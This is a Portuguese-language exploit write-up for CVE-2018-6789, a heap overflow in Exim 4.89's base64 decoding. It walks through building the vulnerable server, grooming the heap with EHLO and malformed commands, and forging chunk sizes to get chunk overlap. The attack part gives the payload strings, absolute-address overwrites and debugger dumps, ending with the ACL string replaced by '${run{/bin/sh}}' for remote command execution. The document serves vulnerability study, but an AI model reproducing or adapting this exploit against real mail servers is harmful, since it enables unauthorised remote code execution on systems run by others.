
Exploit para CVE-2018-6789, um estouro de buffer no heap na decodificação base64 do Exim, alcançando execução remota de código por meio de sobreposição de chunks e manipulação de strings ACL.
Instalar dependências
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Baixar versão antiga do exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Em seguida, modificar Local/Makefile Para conveniência, todos os diretórios apontam para o diretório atual
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Isso facilita a depuração Depois compilar e instalar
make install
Modificar ./configure, sobrescrever com o conteúdo abaixo
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Primeiro, analisar o patch em base64.c:
Onde result é o buffer que armazena o resultado da decodificação base64, obtido pela função store_get
Pode-se observar que o cálculo do size antes do patch está incorreto. Quando size está no intervalo 4n~4n+3, o tamanho calculado é igual, mas quando b64decode decodifica um parâmetro que não é múltiplo de 4, ele decodifica um ou dois bytes extras.
Por exemplo, enviando diretamente
auth_md5('Hf'*42)
size=0x40
Distribuição de memória resultante:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Testando novamente
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Transbordou dois bytes
Para melhorar o desempenho, o exim implementa seu próprio mecanismo de gerenciamento de memória sobre o mecanismo de heap padrão. Ele funciona como um buffer intermediário entre o código e o glibc, com o objetivo de reduzir o número de chamadas malloc e free
Para o exim, cada bloco de heap individual é chamado de storeblock. Cada vez que é usado, um buffer de tamanho apropriado é alocado a partir dele. Se um storeblock for completamente usado, outro storeblock é alocado via malloc.
Para cada storeblock, sua estrutura é uma simples lista encadeada:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
As principais APIs usadas pelo programa para gerenciamento de heap estão em store.c:
store_get
store_release
store_extend
store_reset
store_get é usado para obter um buffer. O código principal é o seguinte:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
Pode-se observar que o tamanho mínimo de um store_block solicitado é STORE_BLOCK_SIZE, ou seja, 8192.
Portanto, um store_block de tamanho 8192, adicionando seu cabeçalho de estrutura e o cabeçalho do heap, resulta em um tamanho total de 0x2020

Quando o exim executa um comando enviado pelo cliente e o comando é bem-sucedido, ele chama store_reset para liberar o cache desnecessário e os store_block excedentes. "Execução bem-sucedida" aqui inclui comandos com formato correto, e-mail sem caracteres ilegais, etc. Caso contrário, store_reset não é chamado.
Esta vulnerabilidade é um clássico off-by-one (embora na verdade possa transbordar dois bytes). No entanto, como o número de bytes que transbordam é pequeno, não é possível sobrescrever diretamente estruturas sensíveis no heap. Portanto, é necessário usar algumas características do ptmalloc para ampliar o impacto da vulnerabilidade, transformando-a em um overflow de maior alcance, ou overlap. Para vulnerabilidades off-by-one, existe um método clássico: chunk enlarge -> chunk overlap. Ao aumentar o size de um chunk e forjar um cabeçalho de chunk para burlar a verificação de sanidade do glibc, é possível obter sobreposição de chunks e causar uma cobertura maior.
O processo principal é: chunk enlarge -> chunk overlap -> corromper o ponteiro next no storeblock, então acionar store_reset para liberar um chunk arbitrário. Ao solicitar esse chunk novamente, podemos modificar seu conteúdo (type confusion). Meh no artigo recomenda modificar o chunk onde a string ACL está localizada, porque no processamento da string ACL existe uma funcionalidade de execução de comandos. As strings ACL são muitas, mas a maioria é NULL (provavelmente relacionada ao arquivo de configuração). Aqui escolho a string acl_smtp_mail, cuja sintaxe para executar comandos é
${run{command}}
O layout aproximado do heap é o seguinte

O primeiro chunk é o chunk resultante da decodificação base64, usado para o off-by-one. Portanto, ele deve estar no final de um storeblock. Por conveniência, solicito diretamente um chunk maior que 0x2020 para armazenar o resultado da decodificação base64; O segundo chunk é sender_helo_name, usado para sobrescrever o próximo chunk. sender_helo_name não é armazenado em storeblock, mas alocado diretamente via malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Portanto, o tamanho é arbitrário; O terceiro chunk é o chunk resultante da decodificação base64, usado principalmente para forjar o cabeçalho e ser sobrescrito. Portanto, ele deve estar no início de um storeblock. Por conveniência, também solicito diretamente o tamanho 0x2020.
Meu exploit também foi obtido passo a passo seguindo análises de outras pessoas na internet. A ideia geral permanece a mesma, mas o layout do heap é um pouco diferente, então alguns parâmetros pequenos são diferentes.
Primeiro, gerar um unsortedbin de tamanho 0x6060, que pode ser obtido com o seguinte comando
ehlo('a'*0x1000)
Quando o exim recebe "EHLO "+'a'*0x1000, ele gera as seguintes três strings na função match_check_list em match.c:
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
onde *name* é 'a'*0x1000
Como o comprimento de name é 0x1000, cada string ocupará um storeblock separado. Essas três strings estarão em três storeblocks consecutivos. Quando o exim completa com sucesso o comando ehlo, ele libera as três strings anteriores em smtp_setup_msg em smtp_in.c, obtendo um chunk de tamanho 0x6060:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
Neste momento, o layout do heap é o seguinte:

Para colocar sender_helo_name no meio do chunk, precisamos liberar o sender_helo_name original e então ocupar o topo do chunk. Quando o segundo sender_helo_name for colocado, liberamos o topo do chunk. Aqui eu uso o comando unrecognize para ocupar espaço. Porque ao receber um comando unrecognize, o exim chama synprot_error para reportar erro, algo como:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
Mas se o comando consiste apenas em caracteres visíveis, o exim não alocará um novo chunk:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
Se o comando contiver caracteres não imprimíveis, o exim alocará um novo buffer e converterá esses caracteres em strings octais, por exemplo, '\xee' -> "\356". É daí que vem o cálculo length + (nonprintcount * 3 + 1).
Portanto, primeiro coloco sender_ehlo_name em um chunk pequeno e depois tento enviar 0x800 caracteres '\xee', o que solicitará 0x800 + 1 + 0x800 * 3 = 0x2001. Como não há espaço suficiente no storeblock atual, um novo store_block será alocado.
ehlo('b'*0x20)
unrec('\xee'*0x800)

Em seguida, solicitar um sender_elho_name de tamanho 0x2010:
ehlo('x'*0x2020)
Isso liberará primeiro o sender_elho_name anterior de tamanho 0x20:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
Em seguida, alocar um novo sender_helo_name. Quando tudo estiver pronto, store_reset é chamado para limpar os storeblocks desnecessários. Assim, a mensagem de erro de tamanho 0x2020 será liberada e, junto com o sender_helo_name anterior já liberado, sofrerá malloc_consolidate, formando um novo chunk de tamanho 0x2050:

Assim, o layout do heap está basicamente completo. Agora, ocupar o topo do chunk e acionar a vulnerabilidade:
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
Ocupar o topo do chunk e transbordar um byte, alterando o size de 0x2021 para 0x20f1. Em seguida, ocupar o chunk de baixo e forjar um size de 0x1f61, fazendo-o apontar para o próximo chunk:
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
Aqui, solicito mais um chunk, caso contrário, o storeblock sobrescrito seria o último storeblock, com next = null.
auth_md5(b64encode('a'*0x1000))
Agora podemos liberar sender_helo_name para causar chunk overlap. No entanto, há um ponto: como precisamos que o chunk de baixo forneça o ponteiro next (que sobrescrevemos para obter um free de endereço arbitrário), não queremos que esse chunk seja liberado. Portanto, podemos construir um nome inválido que apenas libere sender_helo_name:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
Se check_helo falhar, o programa sai do loop sem chamar store_reset. Vamos dar uma olhada na lógica do check_helo:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872
1873 else if (*s)
1874 for (yield = TRUE; *s; s++)
1875 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876 Ustrchr(helo_allow_chars, *s) == NULL)
1877 {
1878 yield = FALSE;
1879 break;
1880 }
...
1885 return yield;
1886 }
Pode-se ver que check_helo verifica os caracteres enviados, exigindo que sejam letras ou alguns sinais de pontuação, ou caracteres em helo_allow_chars. Geralmente helo_allow_chars está vazio, configurado no arquivo de configuração. Portanto, podemos construir um sender_helo_name com espaços:
ehlo('pwn it!') #must include some invalide chars
Isso causa a sobreposição de chunks. Em seguida, ocupar esse chunk para sobrescrever o ponteiro next apontando para o chunk onde a string ACL está localizada. Há um problema: outros exploits usam sobrescrita parcial para contornar o ASLR, mas isso não funciona no meu ambiente, porque o chunk ACL e o chunk apontado por next estão muito distantes.
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
Portanto, meu exploit usa endereços absolutos:
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
Assim, o chunk da string ACL é adicionado à cadeia deste store_block. Quando trocamos o sender_helo_name, esses chunks serão liberados em store_reset. Agora precisamos enviar um nome válido:
ehlo('I'*16)
Ao solicitar um novo chunk, obteremos o chunk onde a string ACL está localizada:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
Aqui, sobrescrevo o endereço apontado por acl_smtp_mail. Basicamente, todas as strings ACL estão neste chunk, pois são lidas do arquivo configure e colocadas no buffer obtido por store_get. Portanto, estão todas armazenadas consecutivamente neste storeblock. Por fim, chamar a API relacionada a ACL:
r.sendline('MAIL FROM: <[email protected]>')
Em smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid, é chamado execve para executar o comando dentro de run. Abaixo estão as informações de depuração do servidor mostrando que o comando foi executado.
